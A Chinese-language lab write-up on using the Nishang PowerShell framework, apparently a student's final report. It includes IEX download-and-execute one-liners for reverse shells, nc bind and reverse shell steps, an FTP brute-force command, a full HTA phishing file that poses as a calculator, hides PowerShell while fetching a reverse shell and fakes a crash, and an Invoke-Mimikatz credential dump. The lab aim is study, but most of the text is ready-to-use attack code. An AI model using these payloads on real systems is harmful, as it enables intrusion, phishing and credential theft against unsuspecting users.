Final——Nishang

1、介紹

  • Nishang是基於PowerShell的滲透測試專用工具,它集成了框架、腳本和各類payload,被普遍應用於滲透測試的各個階段。

2、使用

  • 下載腳本工具:Nishang
  • Nishang須要咱們的Powershell版本在v3以上才能使用。
    • 查看當前Powershell版本:get-host
      image
  • 進入相應目錄下
  • 導入框架:Import-Module .\nishang.psm1
  • 模塊介紹
    image
    • 信息蒐集:Gather
    • 域相關腳本:Get-Unconstrained
    • 一個ASPX的Webshell:Antak Webshell
    • 後門:Backdoors
    • Client進行有效釣魚:Client
    • 權限提高:Escalation
    • 更詳細的介紹和使用咱們學習參考Powershell 滲透測試工具-Nishang
  • 導入框架後,在使用對應腳本時,能夠使用Get-Help 腳本名稱 -full獲得一些使用提示
  • 兩種在內存當中去加載腳本的方式
    • powershell iex (New-Object Net.WebClient).DownloadString('http:///Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.](IEX爲遠程下載腳本)
    • 第二種:
      • 使用Invoke-Encode腳原本將咱們現有的腳本編碼壓縮:Invoke-Encode -DataToEncode "nishang-master\Shells\Invoke-PowerShellTcp.ps1" -OutCommand
      • 在目標上執行:powershell -e [encodedscript]

3、Nishang滲透測試

一、TCP交互式Shell

  • Invoke-PowerShellTcp是PowerShell交互式正向鏈接或反向鏈接shell,且基於TCP協議。
  • 參數
    • -Port須要正向監聽的端口或要反向鏈接的端口。
    • -Bind正向鏈接
    • -IPAddress選擇反向鏈接時須要鏈接到的IP地址
    • -Reverse反向鏈接
  • 正向鏈接
    • 在靶機運行腳本,監聽端口5330:Invoke-PowerShellTcp -Bind -Port 5330
    • 使用nc鏈接到靶機端口5330:nc -nv 192.168.17.131 5330(這裏IP爲win10)
      image
      成功獲取shell~
  • 反向鏈接
    • 使用nc監聽本地端口5330:nc -ltp 5330
    • 在靶機上反彈shell:Invoke-PowerShellTcp -Reverse -IPAddress 192.168.17.130 -Port 5330(這裏IP爲kali)
      image
      成功獲取shell~
  • 腳本分析
    • 咱們先使用Get-Help Invoke-PowerShellTcp -full查看信息(如下爲部分,咱們能夠重點看語法、說明還有示例,這條命令所顯示的就是腳本中的註釋部分~)
      image
    • 運行參數
      image
    • 主函數部分
      • 咱們能夠參考所學的socket編程,在wireshark中抓包,咱們能夠看到TCP數據包,腳本中將靶機做爲服務端,在創建三次握手後,服務端會向攻擊方發送數據html

        $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        image
      • 攻擊方獲取shell後輸入命令時,靶機會接收並執行相應命令,在輸出git

        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        image

二、服務爆破

  • 在以前的學習中咱們利用Nishang中的掃描模塊,嘗試了對FTP服務器的爆破,效果以下:
    image
  • 顯示爆破過程:Invoke-BruteForce -ComputerName 192.168.80.129 -UserList C:\Users\ASUS\Desktop\username.txt -PasswordList C:\Users\ASUS\Desktop\pass.txt -Service ftp -verbose
    image
  • wireshark中能夠看到當爆破後,ftp服務器端與本地的信息交互,本地確認完獲得結果後退出。github

    # 獲取返回信息
    $result = $ftpRequest.GetResponse()
    $message = $result.BannerMessage + $result.WelcomeMessage
    
    # 打印信息到控制檯
    Write-Output "Match $username : $Password"
    $success = $true

    image

三、利用HTA反彈獲取shell

  • Nishang中有對客戶端進行釣魚的模塊——Client,利用該模塊生成各類感染的文件如HTA、Word,來執行powershell腳本發動攻擊。
  • HTA,HTML-Application的縮寫,它直接將某個html頁面保存成hta的格式,打開時顯示爲窗口交互界面,就是一個獨立的應用軟件。
  • 使用Nishang中的Out-HTA生成帶有payload的hta文件:Out-HTA -PayloadScript C:\Users\ASUS\Desktop\nishang-master\Shells\Invoke-PowerShellTcpOneLine.ps1
    image
    這裏生成的文件是閃退的...長時間打不開..
  • 借用一篇文中的代碼,修改這個生成hta的腳本。
    • 首先生成一個能夠彈出系統計算器的代碼shell

      <title>Caculate</title>
      <center>
      <h1>Caculate.exe</h1>
      <br>
      <h2>Loading...</h2>
      <br>
      [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100%
      <br>
      </center>
      <script language="VBScript">
      Set Hackdo = CreateObject("Wscript.Shell")
      Set Check = CreateObject("Scripting.FileSystemObject")
      If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then
        Hackdo.Run "powershell.exe -nop -w hidden calc.exe"
      End If
      </script>
      Hackdo.Run爲調用Wscript.shell中的運行外部程序的函數——run,後面跟着一條powershell命令,用powershell開啓計算器。
      image
    • 而後咱們能夠設置出僞裝閃退效果,在後面添加下面代碼編程

      Hackdo.Run "taskkill /f /im mshta.exe"
      這裏咱們只是殺死了mshta.exe這個進程,而shellcode是注入在powershell中執行的,它的進程還在~
  • 要生成反彈shell,就要修改後面調用powershell執行的部分,原代碼中是在生成時用參數調用生成reverse的腳本:Out-HTA -PayloadScript C:\nishang\Shells\Invoke-PowerShellTcpOneLine.ps1,可是kali那邊監聽沒反應
  • 因而換成了直接遠程調用腳本,並用vbhide用來隱藏powershell的彈窗。主要代碼以下:windows

    <body>
      <title>XXX-exp</title>
      <center>
      <h1>Caculate.exe</h1>
      <br>
      <h2>Loading...</h2>
     <br>
     [<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]100%
     <br>
     </center>
     <script language="VBScript">
      Set Hackdo = CreateObject("Wscript.Shell")
      Set Check = CreateObject("Scripting.FileSystemObject")
      If Check.FileExists(Hackdo.ExpandEnvironmentStrings("%PSModulePath%") + "..\powershell.exe") Then
       Hackdo.Run "powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.80.131 -port 5330",vbhide
      Hackdo.Run "taskkill /f /im mshta.exe"
     End If
     </script>     
      </body>
      </html>
    • windows中生成HTA:out-hta
    • kali下監聽端口:nc -lv 5330
    • windows下打開HTA
  • 終於獲取shell
    image服務器

四、Mimikatz結合Powershell 獲取目標主機帳號密碼

  • mimikatz是由C語言編寫的開源小工具,功能很是強大。它支持從Windows系統內存中提取明文密碼、哈希、PIN碼和Kerberos憑證,以及pass-the-hash、pass-the-ticket、build Golden tickets等數種黑客技術。
  • 注意咱們要使用管理員身份運行PowerShell
  • 導入Nishang框架Import-Module .\nishang.psm1
  • 使用Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'獲取密碼
    image

參考資料session

相關文章
相關標籤/搜索